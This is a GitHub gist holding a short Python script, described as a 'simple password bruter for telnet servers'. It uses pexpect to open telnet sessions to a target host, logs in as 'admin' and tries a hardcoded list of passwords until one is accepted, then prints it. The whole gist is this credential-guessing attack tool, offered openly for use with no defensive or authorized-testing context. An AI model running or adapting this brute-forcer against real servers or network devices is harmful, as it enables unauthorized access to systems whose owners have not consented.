Skip to content

Instantly share code, notes, and snippets.

@avin
Last active October 19, 2015 10:51
Show Gist options
  • Select an option

  • Save avin/b50ce6875b79fb36d7c7 to your computer and use it in GitHub Desktop.

Select an option

Save avin/b50ce6875b79fb36d7c7 to your computer and use it in GitHub Desktop.
Simple password bruter for telnet servers
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pexpect
from sys import argv
PROMPT=">$"
login = 'admin'
passwords = ['foo', 'bar', 'arr', 'agg', 'secret', 'fooo0']
for password in passwords:
exp=pexpect.spawn('telnet %s' % argv[1])
i = exp.expect('Username:')
exp.sendline(login)
exp.expect('Password:')
exp.sendline(password)
res = exp.expect([PROMPT, "Error User\\'s Name or Password\!"])
print "Trying [" + password + "]"
if res == 1:
print "worng pass"
else:
print "good pass: " + password
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment